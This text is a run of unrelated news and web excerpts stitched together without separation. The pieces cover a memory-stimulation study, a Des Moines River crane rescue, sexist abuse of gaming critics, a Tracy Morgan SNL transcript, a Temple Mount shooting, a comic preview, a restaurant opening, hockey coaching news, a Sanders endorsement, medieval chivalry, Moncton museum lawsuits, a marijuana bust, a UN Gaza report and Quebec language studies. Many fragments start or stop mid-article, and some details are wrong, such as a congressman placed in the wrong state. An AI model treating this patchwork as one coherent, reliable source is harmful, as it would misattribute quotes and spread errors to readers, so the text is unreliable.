‘This noninvasive stimulation improves the ability to learn new things. It has tremendous potential for treating memory disorders.’
Dr Simon Ridley, Head of Research at Alzheimer’s Research UK charity, said The results of this study shows some potential in the use of a non-invasive technique which may help to improve memory.
A construction worker dangles from a crane, his arm stretched out to reach a terrified woman trapped in swirling water at the base of a dam.
These astonishing images show the dramatic rescue of the woman after her boat overturned near the dam on the Des Moines River in Iowa.
She was pulled to safety by the quick-thinking construction crew - but her husband, who was with her in the boat when it overturned yesterday, tragically drowned.
Construction worker Jason Oglesbee dangles from a crane as he stretches a hand towards the drowning woman in the Des Moines River yesterday
The heroic construction worker pulls the woman to safety
'I saw the boat drift down, and he started it up and he hit the bridge base,' construction worker Joe Lowe told local media.
'Then he tried to wrap it up with an anchor or line and then I heard him holler at his wife, put your life jacket on. He didn't have one on.'
The unnamed husband's concern for his wife may have saved her life. Her life jacket kept her afloat in the swirling waters of the river for up more than half an hour as construction worker Jason Oglesbee battled to reach her.
Des Moines police Sgt. Joe Gonzalez said the workers saw the woman floating in a boil and they tried to move a crane over to her.
Emergency crews said it is likely the woman would have drowned had it not been for the construction crew's heroic rescue operation
Clutching life preservers thrown to her by rescue services, the woman struggles to stay afloat near the dam before the rescue
Meanwhile, fire crews tried to throw life preservers from a boat.
After the initial attempt with the crane was unsuccessful, the construction company rigged up Oglesbee to the crane with a harness and Oglesbee was able to grab the woman from the water.
'They just harnessed me in and dipped me down in the water and I grabbed her,' he said.
When asked if he volunteered to be rigged to the crane, Oglesbee said he just happened to be wearing the harness.
'I just told her to hang on tight. I won't let go,' Oglesbee recalled.
Oglesbee is lowered to the water by the crane
The Des Moines River near the Center Street Dam in downtown Des Moines during the rescue yesterday
He insisted the rescue was a team effort and was reluctant to talk to media, saying: 'It's no big deal. The whole crew did it.'
'If it wasn't for the team effort of Cramer & Associates, we might have two drowning victims,' Gonzalez said.
The body of the man, who was in his 60s, was pulled from the water about 25 minutes after the boat overturned at 4pm yesterday afternoon.
The woman was pulled from the water at 4.35pm and rushed to hospital, where she was pronounced stable last night.
See video from the amazing rescue here
So, that thinly-veiled rape joke might upset you and it might not (it made me cringe something awful), but when combined with the gaming industry's shittiness toward women, and the fact that not one game with a woman protagonist was released at the conference, it points to a much larger issue.
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At the conference, Feminist Frequency pointed out the very real issue of MIA women characters:
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In response, they received all sorts of charming replies. And by charming replies, I mean over 50 heartbreakingly and infuriatingly common "shut up, cunt" tweets:
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But, perhaps most upsetting of all are the tweets like this:
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And that's the thing that the people who make the games — and the people who present at these gaming conferences — need to think about it. Because they're most likely not coming from a place of "women characters blow!" and "rape jokes are hilarious!", but some of the (very vocal) people who watch them are.
Andrew Ti tackled a somewhat similar issue with race satire over at Grantland. Writing about the use of blackface in modern comedy, he says the issue isn't with the people who get the joke — it's with the ones who don't.
Most people who see it understand the message, but — surprise, surprise — some people are stupid as fuck.
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Feminist Frequency has 50 tweets that prove this fact. The idiots of the world will take the lack of lady characters and staged trash talk like "Just let it happen, it'll be over soon," and see it as permission to exclude and diminish women. To them, it paints one big picture of BOYZ ONLY — and worse, women are less than. That all adds up to a world where it's okay to casually threaten to rape a woman on twitter. In fact, it's the same thing with rape jokes — comedians might think their audience understands how witty (they think) they're being, but odds are plenty of people leave thinking "haha rape is funny!"
This is not a world in which women are welcome, and no amount of saying "If you want a game with a female protagonist, make one yourself!" is helping — because why on Earth would a lady want to walk into that world? Don't get me wrong, some do, but they deal with a lot of shit.
If companies like Microsoft don't start changing things from the top down — ensuring that women are heavily involved and represented in their games and explicitly condemning trash talk that refers to rape — then the shitty status quo will remain.
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Published: Sunday March 16, 2008
Print This Email This In light of Geraldine Ferraro's controversial comment expressing her opinion that White House hopeful Barack Obama's race is playing a significant role in his success, former Saturday Night Live cast member Tracy Morgan appeared on the show's weekend update segment to offer his views on Obama and race. Countering Tina Fey's earlier pro-Clinton pronouncement that "Bitch is the new black," Morgan said, "Bitch may be the new black, but black is the new president, bitch." The comment, which was said in jest, came at the end of a longer monologue by Morgan, during which he defended Obama and asked "Why is it every time a black man in this country gets too good at something, someone always comes along and reminds us that he's black?" Morgan explained his theory as to why that may be, saying, "It's a little complicated, but basically it goes like this: We are a racist country. The end." He went on to discuss Clinton's 3AM phone call ad, saying, "Barack knows how to answer that phone. He's not going answer it, like, 'Hello. I'm scared. What's going on?' He's going to answer it like I would get a phone call at 3:00 in the morning. Yeah! who's this? Better be good or I'm coming down there and put something in a wheelchair!" On the recent controversy regarding past statements made by Obama's pastor, Morgan quipped, "Barack's got to stay away from this pastor, because he's too black! But look, just because he knows the dude, doesn't mean he thinks like him. Just because I got a friend that goes to the strip club, doesn't mean I'm going go to the strip club." Saturday Night Live has been the topic of discussion recently due to segments they've done that seemed to some to be overtly pro-Clinton. The Raw Story recently looked at these skits, as well as the financial contributions writers and producers of the show have made to different candidates. Tracy Morgan's comments can be seen in their entirety in the video below:
Transcript via closed captions :: this week the issue of race once again became the focal point for the democratic presidential candidates. hillary clinton's longtime adviser geraldine ferraro said if barack obama was white man he wouldn't fb kniss position in a woman, wouldn't be in this position. he happens to be very lucky to be who he is. here to comment a good friend of ours, tracy morgan. [ cheers and applause ] :: thank you, seth. mm, mm, mm. [ laughter ] why is it every time a black man in this country gets too good at something, someone always comes along and reminds us that he's black? first, it was tiger. then donovan mcnabb. then me! [ laughter ] now barack. i've got a theory about that. it's a little complicated, but basically it goes like this. we are a racist country. the end. [ laughter ] maybe not the people in this room. but if it's not a racist country, then why didn't, like, everybody in texas and ohio go crazy when they thought that a black man couldn't answer the phone at 3:00 in the morning? [ laughter ] let me tell you something -- barack know how to answer that phone. [ laughter ] he's not going answer it, like, "hello. i'm scared. what's going on?" he's going to answer it like i would get a phone call at 3:00 in the morning. yeah! who's this? better be good or i'm coming down there and put something in a wheelchair! [ laughter ] some things just have to change, seth. people are saying he's not a fighter. let me tell you something, he is gangster. he's from chicago! [ laughter ] barack is not just winning because he's a black man. if that was the case, i would be winning, and i'm way blacker than him! i can smoke newports and drink olde english. [ laughter and applause ] i grew up on government cheese. [ laughter ] i prefer it! now there's all this stuff and talk about the pastor. barack got to stay away from this pastor, because he's too black. [ laughter ] but just because he knows it, look, just because i got a friend that goes to the strip club, doesn't mean i'm going go to the strip club. :: but you do go to the strip clubs. :: yeah, but i go for the girls. i'm not going to go just because my friend is going. [ laughter ] i got the integrity. [ laughter ] barack is qualified. personally, i want to know what qualifies hillary clinton to be president? is it because she was married to the president? if that were true, then robin givens would be heavyweight champion of the world. [ laughter and applause ] if hillary's last name wasn't "clinton," you know -- she'd just be some crazy white woman with too much money and not enough lovin'. [ laughter ] that's where i come in. [ laughter and applause ] i know women like that. you don't want them answering the phone at 3:00 in the morning. [ laughter ] this, in conclusion -- three weeks ago, my friend, a tina fay, she came on the show and she declared that bitch was the new black. right? you know i love you, tina fey. you are a first-class bitch. [ laughter ] i have something to say. bitch may be the new black, but black is the new president, bitch! [ laughter ] [ cheers and applause ] :: tracy morgan, everybody! [ cheers and applause ] :: thank you, tracy.
"We cannot allow for agents of murder, who desecrate the name of God, to drag us into a bloody war, and we will deal with a heavy hand against all the arms of terror, and its perpetrators," Israeli President Reuven Rivlin said in a statement. "The state of Israel will defend its sovereignty and its citizens with a strong hand, and will not allow anyone to provoke the region into a bloody war."
A video of the scene captured an assailant yelling "Allahu Akbar!"
Shocking: Terrorists open fire on #Israeli policeman from the Temple Mount, the holiest site in Judaism. Sick. pic.twitter.com/qWpcSmX6tA — StandWithUs (@StandWithUs) July 14, 2017
Israeli police said the armed attackers had been spotted around 7 a.m. local time approaching the gateway from within the sacred compound which Jews revere as the Temple Mount and Muslims as the Noble Sanctuary, The New York Times reported. Police pursued the assailants inside the compound and both groups opened fire, killing two police and three assailants.
Police identified the slain officers as Hayil Satawi, 30, from the northern Israeli Arab town of Maghar, and Kamil Shnaan, 22, from another northern town, Hurfeish. Officials said both officers were Druze, members of an Islamic sect which most Muslims consider outside of Islam.
The two Druze policemen, who were murdered today on the Temple Mount, by 3 Scumbag terrorists, Let their souls rest in peace pic.twitter.com/MuQ1x5vWv3 — Yanki ????? ???? (@yankifarber) July 14, 2017
Shin Bet, Israel's internal security service, identified the attackers as Muhammad Ahmed Jabarin, 29; Muhammad Hamid Jabarin, 19; and Muhammad Ahmed Mufdal Jabarin, 19. All three were residents of Umm el-Fahm, a large Arab town near the border of Israel and the West Bank. It was not known if they were related, but their names indicate membership in the same large clan.
Police announced they had evacuated and closed the compound, and helicopters circled above after the attack.
The closing of the Temple Mount is an explosive measure on its own, however. This marked the first time in 17 years that the mosque was closed for Friday prayers. Israeli restrictions on Muslim entry have prompted rioting in Palestinian areas, and previous Israeli efforts taken in response to violence at the site have strained relations with Jordan.
If you can’t even wait until the issue hits stores this Wednesday — and with the truth behind the mysterious Jason Woman waiting to be revealed, who could blame you? — you’re in luck because DC has released a preview of the comic. In a press release, DC writes:
Didn’t know Wonder Woman had a brother? Well, until pretty recently, neither did she. Diana first learned of her twin sibling, Jason, after battling Darkseid and his daughter Grail during Geoff Johns’ “Darkseid War.” Earlier this month, she met him for the very first time. And in this week’s WONDER WOMAN #35, we finally learn his story. Who is this mysterious man who has upended everything Diana thought she knew about her life? Where Diana was raised among the Amazons of Themyscira and would go on to become one of the world’s greatest superheroes, her brother’s childhood was far quieter. Raised far out of the spotlight, Jason’s life was one of fishing and simple pleasures. At least until he learned that he, too, had some unique abilities. But will those lead him down a path of heroism…or evil? Perhaps a clue can be found in this exclusive first look…
Wonder Woman #35 is in stores November 22. Check out the preview below.
“TIMES PAST” part two! Raised on the Grecian isles, Wonder Woman’s long-hidden brother, Jason, tried to lead a simple life, running away from his birthright. But when Darkseid’s daughter, Grail, learns of his existence, will he be ready for the chaos she brings with her?
About Jude Terror A prophecy says that in the comic book industry's darkest days, a hero will come to lead the people through a plague of overpriced floppies, incentive variant covers, #1 issue reboots, and super-mega-crossover events. Scourge of Rich Johnston, maker of puns, and seeker of the Snyder Cut, Jude Terror, sadly, is not the hero comics needs right now... but he's the one the industry deserves.
(Last Updated )
Daniel Stokes, a protégée of Dave DuBois at Franklin Café, opens his first solo venture.
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Chef Daniel Stokes, an alum of both Franklin Café locations, is preparing to open his first solo venture, Red Bird, on July 15 in Waltham. Housed in the former Tuscan Grill spot, which closed in November of 2013, Stokes has created what he calls “chef-driven, modern American cuisine” with seasonal recipes influenced by his time under David Dubois at Franklin Café and Jimmy Bradley of Pace and The Harrison in New York.
Why Waltham? Stokes and Michael Staub, a restaurant consultant from Group M, were originally looking at real estate in Boston and Cambridge, particularly the vacated Chez Henri space, but the two became more and more enamored with the untapped potential developing outside of the city. “I was given some locations on Moody Street and I initially wrote them off,” Stokes says. “Then I looked at this restaurant called the Tuscan Grill and it was the perfect size; right in my wheelhouse of 70 seats. Because I’m the chef and owner, I’m a real hands-on operator and I didn’t want anything where I was relying on a huge team of people. I looked around and saw pressed tin ceilings, exposed brick walls, and a beautiful bar, and I just saw a lot of potential. The restaurant had a storied history as one of the best Italian restaurants in all of Boston back in the day.”
Joshua Smith, the acclaimed butcher and chef behind Moody’s Delicatessen & Provisions, was another major draw for Stokes. “There’s a lot of diverse businesses in Waltham,” Stokes says. “It doesn’t have a Starbucks or a J. Crew or the “mallification” that a lot of main streets have turned into. They have Indian markets, Vietnamese restaurants, comic book stores, and then of course, Joshua Smith who moved up the street and built Moody’s Delicatessen. What Josh is doing is just insane and he’s helped make Waltham a little culinary destination.”
Stokes’ menu emphasizes his own version of house-made craftsmanship like Red Bird’s selection of pastas, pickles, sausages, and even cheeses, such as a house-whipped ricotta that accompanies the pappardelle with lamb ragu, and arancini appetizer, and the lobster ravioli. The debut menu will initially have a seafood-heavy focus, but Stokes anticipates shifting directions once fall and winter arrive.
Red Bird will be open Tuesday through Thursday from 5 to 11 p.m., Friday and Saturday from 5 p.m. to midnight, and Sunday from 5 to 11 p.m.
Opening Menu
The move was expected, as Josh Yohe of the Pittsburgh Tribune-Review reported on Sunday that Meloche was expected to announce his resignation at some point this week. Meloche has been employed by the Penguins for the last 27 seasons and has acted as the goalie coach for the last seven.
Obviously, the Penguins are currently in a strange position. Coming off a shockingly poor performance in the Eastern Conference Final, pressure is mounting about potential changes that could be coming to the club. The inconsistent play of Marc-Andre Fleury in the postseason has amplified the attention being paid to the goalie position and his $5 million annual salary has increased awareness about the salary actually being paid to the goalie. Compliance buyout talk has been a constant in relation to speculative conversations. Whether it's a course of action the organization would consider remains to be seen.
Some believe the organization might be searching for a way to present change to the fan base without drastically altering the club. Hard to imagine a new goalie coach will satisfy that need (if it truly exists). In any event, Tuesday could be the first of several moves for the Penguins this offseason. The team has multiple unrestricted free agents entering the market on July 5, in addition to the expiring contracts of Evgeni Malkin and Kris Letang.
Now, the team needs to find a new goalie coach, as well.
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• Complete Stanley Cup Playoffs coverage
• Celebrating hockey’s ‘anti-heroes’
• Our playoff predictions
“For decades, Bernie has demonstrated a willingness to push for progressive ideas that will help American families and restore balance to our economy, which has favored the millionaires and billionaires for way too long,” Ellison said in a prepared statement.
Ellison is only the second Democrat in Congress to publicly back Sanders over Clinton. He is also the first prominent Minnesota Democrat to get behind Sanders, while dozens have thrown in with the former first lady and U.S. secretary of state.
Clinton has continued to lead Sanders in most polls of the Democratic contest, but he has shown surprising strength in recent months — particularly in his ability to draw large, enthusiastic crowds to campaign events. A Sanders rally in Minneapolis in June drew more than 3,000 people.
“Bernie has shown that he has the ability to create a renaissance in civic participation by exciting those who are least likely to vote,” Ellison said.
Ellison first revealed his presidential pick on MSNBC. A spokesman for the congressman said he did not have time Monday for an interview with the Star Tribune. His congressional district includes Minneapolis and several nearby suburbs.
Ellison and Rep. Raul ­Grijalva of Texas are the only two members of Congress to endorse Sanders so far. They are co-chairs of the Congressional Progressive Caucus; a group that Sanders helped establish when he was in the House. He is now its only member from the U.S. Senate.
Past connections
Sanders is a political independent, but he caucuses with Senate Democrats and is seeking the Democratic presidential nomination. Mike Casca, a former press aide to Ellison, is the press secretary for Sanders’ presidential campaign.
Ellison and Sanders have co-sponsored a number of unsuccessful policy proposals, including a minimum-wage increase, a ban on privately run prisons and the cessation of government subsidies to big oil companies.
“He is committed to investing in our education system and infrastructure, raising the minimum wage, addressing climate change, fixing our criminal justice system, reforming our financial markets, and pushing for peace and diplomacy abroad,” ­Ellison said.
While Ellison is the first DFLer of note to back Sanders, the list of Minnesota supporters for Clinton is long. It includes U.S. Sens. Amy Klobuchar and Al Franken, Gov. Mark Dayton and Lt. Gov. Tina Smith, U.S. Rep. Tim Walz of Mankato, Minneapolis Mayor Betsy Hodges and St. Paul Mayor Chris Coleman, more than a dozen state legislators, and numerous additional party activists and interest group leaders.
“Keith Ellison is one of the great progressive leaders in the country leading the fight for the rights of working families and the environment,” Sanders said in a statement furnished by his campaign. “I look forward to working with him to create a government which represents all Americans and not just the billionaires.”
That society was in theory composed of three classes: the military defenders or belletors, the educated clergy or oratores, and commoners or imbelle vulguso, the “unwarlike masses,” i.e., everyone else.
The military, or knightly, class evolved out of pre-Christian warbands. The martial attributes of pagan warriors were combined with Christian virtues. Together they created a new cultural order that defined the values of their society in terms of military skill, personal honor and religious piety.
So potent was this combination that the coveted role of knighthood spread from its origins among the mounted soldiers of France in the early twelfth century. Soon it came to encompass the nobility of European nations, as kings, dukes and earls came to desire the status of the knightly elite. They elevated their chivalric idealism to define the age. Through a cycle of tournaments, literary romances, errant quests, wars and crusades, they established a medieval culture based on the values of Chivalry.
Women in Chivalry
One might wonder how women fit in this hyper-masculine pattern? The answer is, “Not well at all.”
The Age of Chivalry was patriarchal in the extreme. Women were dependent on their fathers or husbands for their legal identity. If they were heiresses they were shifted along with the ownership of property from one generation to the next. Knights and nobles were bound by their moral code to respect, defend and honor all women. In practice, of course, it was mostly highborn ladies who were thought to be worth the effort.
The code of Chivalry also required that ladies who “adorned” the court be examples of restrained virtue, their prescribed appeal to noble men being a contradictory blend of erotic attraction and austere spiritual purity. The appeal of such a fantasy was in part due to marriage being almost inevitably for economic and dynastic rather than emotional reasons. However, as is always the case, the prescriptive rules didn’t alter human nature!
There were strong and effective women, especially at this level of society, who often made their way against the headwinds of custom to carve out powerful roles for themselves. For example, we see the formidable Eleanor of Aquitaine stand up for her sons against her equally formidable husband Henry II. Isabelle of France, wife of Edward II, and Margaret of Anjou, wife of Henry VI, both led armies (albeit in the names of their sons). Both were criticized for breaking the rules of acceptable feminine conduct.
The Virtues of Chivalry
What else characterized this enveloping martial culture?
The virtues that Chivalry espoused included prowess (skill in battle), courtesy (respectful behavior), personal honor, loyalty to one’s lord and to Chivalry itself, hardiness and perseverance against all odds, generosity, and an independence of spirit. A knight was also pledged to defend the weak, the poor and womankind against aggression, and to be a defender of the Christian faith.
A knight was a man in a thousand, singled out by his proven ability and dedication to these chivalric ideals. Through arduous training in horsemanship and the exercise of arms, he sought both martial celebrity and spiritual salvation – providing he survived the highly dangerous demands of his calling.
Knighthood was not only a perilous but also an expensive undertaking. The aspiring knight needed a costly horse or horses, elaborate clothing, increasingly complex armor and weapons, and a bevy of supporters to maintain him in the round of encounters in war or on the field of honor in tournaments and jousts. In either situation, he could lose his freedom (and be held to ransom), his equipment and his life through defeat in armed contest. If he was successful in his ambition, he was dubbed a knight by some powerful lord, to whom he paid fealty and promised loyalty.
Over time, noble lineage and worldly wealth became just as – or even more – important than prowess. The path to knighthood was closed off to all but the most select few. Chivalry rules!
Training in Chivalry
It wasn’t entirely about the art of war. Part of the necessary training in Chivalry was the mastery of not just the practical martial arts but also the underlying philosophy of the order. There were several ways of learning this. One, you could read a book. Yes, there were handbooks for young men on how to be a knight!
One of the best known of these books was Ramon Lull’s The Book of the Order of Chivalry, written circa 1276. Originally written in Catalan, it was then translated into French, which gained it a large international audience. It was copied repeatedly over the course of two hundred years. It was among the first books printed in England by William Caxton. He published an English translation with a dedication to King Richard III in 1484.
A more practical method of training in chivalry was through instruction from a master. To be placed in the household of a great knight was an honor and a career step forward for an eager and ambitious young squire.
A young man could also learn Chivalry by studying the best examples of knightly behavior in both the lives of exemplary knights such as William Marshal or Bertrand du Guesclin, as well as from the mythology of Chivalry found in the great epic romances about King Arthur, Charlemagne, Roland, Alexander the Great and Roman heroes.
Chivalry’s Perfect Knight: William Marshal
Although the term “Chivalry” didn’t appear until 1292, the chivalric code reached England with the Normans. And it is in the reign of the first Plantagenet, Henry II, that we find one of Chivalry’s greatest early exemplars: William Marshal (c. 1145-1219).
Because of a unique and lengthy poetical biography composed in his honor, William’s career is known in great detail – and what a career it was! His life reads almost like a contemporary romance novel.
Born the younger son of a minor baron, he was given by his father at age five as a hostage to King Stephen, and almost lost his life when the situation soured. At the last minute, he was spared from execution by the king.
In about 1160, the ambitious young William entered the court of William de Tancarville in Normandy where he learned the knightly arts of horsemanship, armed combat, hawking and hunting. He became known not only for his prowess but also his appetite at meals.
William Marshal was knighted and given his sword (but little else) by de Tancarville in 1167. He won a second-rate horse in a tournament and began a career as a lowly knight-errant, winning many martial contests to little reward.
William Marshal and the Plantagenets
William Marshal then joined the mesnie or household of his uncle Earl Patrick of Salisbury. While the Earl and his retinue were accompanying Eleanor of Aquitaine through Poitiers, they were attacked. The Earl was killed while defending Queen Eleanor. Marshal, who had manfully attacked his uncle’s murderers, was taken captive. Freed through the intercession of the Queen, who then accepted him into her household, he entered the royal court of Henry II. In recognition of his military prowess, Marshal became the tutor of Henry’s son, Henry “the Young King.”
This apparent honor, however, initiated a succession of conflicting loyalties that kept him in trouble over many years. Loyalty was a principal commandment in Chivalry, and William always maintained personal loyalty to whomever he owed primarily fealty – but not necessarily to other earlier pledges. This steadfastness unfortunately embroiled him in the rancorous quarrels of the Plantagenet royalty.
Henry II was beset by the rebellion of his disgruntled sons Henry, Richard, Geoffrey and John – and Queen Eleanor, who supported her sons against her husband. Being of the king’s household, but owing fealty first to the Young King (whom he himself had dubbed a knight), William found himself in the middle of a perilous family struggle.
After the rebellion failed (and Eleanor was imprisoned by Henry for her role), the peace and pardons of 1174 resulted in William and the Young King leaving England to seek glory and reward in French tournaments, Henry II having forbidden tournaments in England. Although William acquitted himself amazingly well in hundreds of contests, he failed to save any of the winnings he received (the losing knights paid ransoms and forfeited armor and horses). Instead, he spent his winnings lavishly in the chivalric virtue of largesse.
William Marshal made an international reputation on the tournament circuit. Courtesy of the British Library Illuminated Manuscripts Collection.
It didn’t help that he was also accused of an alleged adulterous relationship with Margaret, the Young King’s wife, as his renown had gained him enemies at court who spread the rumor of her infidelity.
Despite his fame and ability as a knight, William was unable to secure the real basis of a successful knight – lands and properties whose rents supported the extravagant chivalrous lifestyle. Young King Henry died before his father, leaving William in the unenviable position of being seized by his lord’s unpaid mercenaries and left in the service of an aggrieved but supportive Henry II.
William honorably fulfilled the Young King’s unmet pledge to undertake a crusade to Syria, where he met and was impressed by the Templars. He returned to Europe in 1187 no better off than before.
William got on the wrong side of the Plantagenet struggle again in 1189 when Richard, in league with Philip of France, challenged his father yet again. William and Richard met in battle near Le Mans, Richard being in pursuit of his father’s forces. William attacked, but Richard, for some reason being unarmed, shouted to William that to kill him thus would be “an evil deed.” True to his chivalric ideals, William left Richard unharmed, instead killing his horse. A month later, Henry II died and William was obliged to bury his king. This of course now made Richard king of England, placing William once more in a difficult position.
In testament to his ability and his known quality of absolutely steadfast loyalty to his primary lord, Richard chose to forgive William (after teasing him a bit). He also fulfilled his father’s promise to give William the hand in marriage of the rich heiress, Isabel of Striguil.
The match, a happy and loving one, not only brought William ten children but also over sixty-five fiefs (including about 25% of Ireland) and the financial security he had so long sought.
It wasn’t the end of William’s problems with the Plantagenets.
Marshal had worked in behalf of the king’s younger brother and heir, Prince John, before Richard’s death and was ennobled by the new king as the Earl of Pembroke. His residual loyalty to the French king, Philip, however, put him in back in the fealty bind. John predictably took offence, made William’s son a hostage, and tried to get some champion to challenge the aging William to combat. No one, however, would take on the honored Earl. Despite provocation, William Marshal never betrayed the alternately ungrateful and dependent King John.
John died in 1216, and William became regent for John’s very young son Henry III, whom he also dubbed a knight (at age 9). A French challenge to the succession occurred even before King John’s death when young prince Louis invaded England. The English and French forces met in May 1217 at the siege of Lincoln. Although William was about 70 years old, he was determined to meet this challenge personally. He went into battle and achieved a victory, marred only by the accidental death of the French commander (and William’s cousin) Thomas of Perche. Prince Louis fled to London and, following the French fleet’s defeat in the sea battle off Sandwich, surrendered and was allowed to return to France. Although roundly criticized for this leniency, William was once again honoring the code of Chivalry.
The old Earl fell ill early in 1219, and lingered for months attended by his friend Baldwin de Bethune and his squire John of Earley. He followed the conventions of a “good chivalric death,” making provision for his children and relinquishing all of his earthly belongings before passing away on May 14, 1219. William Marshal was buried, as he had requested, among the Templars in their church in London.
William Marshal became a model of knighthood and was internationally celebrated for years as an example of true Chivalry, in both its positive and less admirable aspects.
Tournaments: Good or Bad?
The grip of the code of Chivalry on the courts of Europe reached its peak during the Plantagenet years, both in noble conduct and in the art and literature of the time.
It wasn’t universally admired, however. The Church was opposed to the violence of the tournament, and the warlike aspect of the culture in general. Because early tournaments were violent and bloody affairs, with relatively few deaths but much loss through wounds and broken limbs, Pope Innocent II banned the popular war games in 1130 as contrary to the Church’s “Peace and Truce of God.” The battles could easily get out of hand, and move into towns where innocent people were wounded or had their property damaged and stolen. The church and convent of Boston were burnt down, with a good part of the town, in 1288 after a tourney in which squires and soldiers dressed as Arthurian clerics.
Tournaments were also banned by secular monarchs as wasteful of manpower and as a source of plots hatched during the gatherings of factious nobles. Henry II forbade tournaments in England, as did John and Henry III. Even kings such as Richard I and Edward I, who enjoyed them, worked to control the contests with restrictions on locations and new rules for safer combat, as mêlées gave way to more orderly jousting. The problem was that, despite their negative aspects, the dangerous war games were an invaluable way to train knights and soldiers, and to inculcate the virtues of Chivalry. The opposition of the Church, which in part was an effort to reserve martial resources for the Crusades, ran up against the need for trained knights to undertake holy wars. Eventually, in 1316, Pope John XXII lifted the ban.
Tournaments, which involved general mêlées or mock (yet bloody) battles between teams of knights, and jousts, in which pairs of knights engaged in a mounted attack on one another, were not only popular among the knights themselves. They were also popular with courtly spectators who witnessed the fights from the safety of temporary bleachers. Originally the audience was mostly men-only, but increasingly women attended as well – especially after the contests became more structured and less dangerous – to see their champions take on the opposition. Some women allegedly even became actively involved in the spectacle. Women were also, of course, known to actively defend their family castles when their menfolk were absent.
Chivalry & Courtly Love
During the 12th century, as Chivalry set new standards for knights, another trend was setting new standards for their ladies. A new concept, known as “Courtly Love” was introduced by the troubadours. It is a concept that is difficult for modern men and women to understand. It’s lingering effects, however, still influence western culture. It placed noble women on pedestals of “honor” and required knights to idealistically and platonically worship them from afar. In its most dramatic (and literary) manifestations, young men would adore the unattainable lady, often older and married, and would undergo absolute agonies of unrequited desire, jealousy and despair. In its more light-hearted and romantic moments, a knight would seek some noble lady’s token, perhaps a scarf, to wear attached to his armor as he fought in the lists.
Its most revolutionary aspect was in promoting love, not as mere physical passion, but as an emotion that could exist between a man and a woman, one that was valuable for its own sake.
“Courtly Love” was a popular form of entertainment, and it is difficult to know just how seriously it was taken. As C.S. Lewis noted in The Allegory of Love (1936), its defining themes were “Humility, Courtesy, Adultery and the Religion of Love.” An odd combination indeed and, perhaps, one that could only exist in the world of literature and semi-fantasy!
“Courtly love” did, however, lay the groundwork for the “polite” precedence of womanhood that has long been a defining characteristic of European culture. It is now seen as paternalistic, but there was indeed a time when “Chivalry” towards women was a step forward!
During the days of the Plantagenets, the concept of “Courtly Love” may in some small way have helped create emotional bonds in noble and royal marriages, which were almost inevitably matters of dynastic ambition and political necessity. It did start a change in attitude. By the days of Henry VIII, a monarch could actively look for love and companionship in his marriage. (Of course, look where THAT got Henry’s unfortunate wives!)
“Courtly Love” is not dead. It is once again a popular form of entertainment. Novels, movies and television series featuring the doomed romances of Arthur and Guinevere, or Tristan and Isolde, abound. And who among us can honestly deny, when the word “romance” is mentioned, that our vision is of a castle, a knight, and a lady fair?
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Five companies have filed lawsuits against the City of Moncton and the main contractor on the project, Dora Construction Ltd.
Meanwhile, Dora Construction is also suing the city, alleging it's owed $2.1 million to cover its own costs and what it owes the subcontractors.
Six companies claim they have not been paid for work done on Moncton's Resurgo Place. Many of the problems seem to revolve around the the architectural feature on the Mountain Road side of the transportation museum. (Marc Genuist/CBC) No one from the companies or the city agreed to an interview about the lawsuits.
This is the latest problem for Resurgo Place, the $10 million transportation museum that opened in August behind schedule and over budget.
The museum was initially supposed to cost $7.6 million, but the initial cost started to climb when it was realized that the city forgot to budget for a parking lot and furniture.
The museum's opening was also delayed at least three times.
Many of the legal problems facing the museum seem to centre around the the architectural feature on the Mountain Road side of the building, according to the statements of claim, filed with the Court of Queen's Bench.
The giant sloping glass and metal roof is meant to look like a cow catcher from the front of an old-fashioned train engine.
GSI Glass Structures Inc. says it was supposed to make and install the glass for the iconic atrium.
But when workers arrived to put up the glass, they discovered the steel frame did not meet specifications, court documents state.
As a result, GSI alleges it faced an extra $821,000 in costs.
The Cat Rental Store says it hasn't been paid for the $11,000 it provided to help put up the glass structures.
RCM fabrication, which provided structural steel, claims it is owed $62,999.
Krisro Metal Industries Limited, which made the panels for the skylight, is seeking $36,000.
And J&D Electric Ltd. says $186,000 of its bill is outstanding.
"I may not have noticed it myself, except I happened to glance down at the right time," Graney said.
It wasn't until police investigated on the ground that they realized how massive the crop was.
"It's surrounded by tall grass, and basically it's a huge field you wouldn't see anywhere but from the air," Chicago Police Supt. Garry McCarthy told reporters Wednesday.
All told, police found upwards of 1,500 plants. As of Wednesday afternoon, the police had no leads, although a lookout was spotted running from the crime scene.
No word if any police dogs accidentally got stoned during the raid.
The scale of civilian deaths in Gaza during the 2014 war with Israel puts Israel's adherence to international law in doubt, a UN official has said.
In his annual report, the special rapporteur also said many children were left traumatised by the 50-day conflict.
Israel and its ally the US were both absent from the debate at the UN Human Rights Council (UNHRC) in Geneva.
Israel has previously accused the body of being biased against it.
It has insisted it did everything possible to avoid causing civilian casualties, and has accused Palestinian militants of putting non-combatants in harm's way.
At the meeting, special rapporteur Makarim Wibisono criticised Israel's conduct during the July-August conflict.
"The ferocity of destruction and high proportion of civilian lives lost in Gaza cast serious doubts over Israel's adherence to international humanitarian law principles of proportionality, distinction and precautions in attack," he told the council.
He lamented "acute" needs in Gaza, warning that Israel's continued "blockade keeps Gaza in a stranglehold which does not even allow people to help themselves".
Israel says its tight restrictions over Gaza's northern and eastern borders and coastline are vital to protect it from attacks by militants.
Image copyright Getty Images Image caption Parts of Gaza City were destroyed in the conflict last summer
Also under discussion at the session is a report from the UN's secretary general, which highlights the continued building of settlements in the West Bank, and alleged human rights abuses against Palestinians in the area.
About 500,000 Jews live in more than 100 settlements built since Israel's 1967 occupation of the West Bank and East Jerusalem. The settlements are considered illegal under international law, though Israel disputes this.
The report cites alleged incidents of settler violence and access of Palestinians to agricultural land as particular areas of concern.
In Israel, the foreign ministry told Reuters that the UN's annual debate about human rights in Gaza and the West Bank "negatively singles out Israel and Israel every year asks its friends on the council not to express themselves".
Inquiry postponed
The Palestinians and Israel each accuse the other of committing war crimes during the 2014 conflict.
The war left more than 2,100 Palestinians dead, the majority civilians, according to the UN. Tens of thousands of homes in Gaza were also destroyed or badly damaged.
On the Israeli side, 67 soldiers and six civilians were killed by militant attacks, which also caused damage to homes and other buildings. Israel says the offensive was aimed at ending rocket fire and preventing militants attacking it via tunnels.
A UN inquiry into possible war crimes committed during the war was removed from the agenda of the current session of the UNHRC after the head of the team quit amid questions over his suitability to lead the investigation.
Canadian legal expert William Schabas had a "clear and documented bias", Israel said, since he had previously done paid work for the Palestine Liberation Organisation.
In two studies made public Friday, the Office québécois de la langue française reports on the evolution of the French language in the education sector, from preschool up to CEGEP.
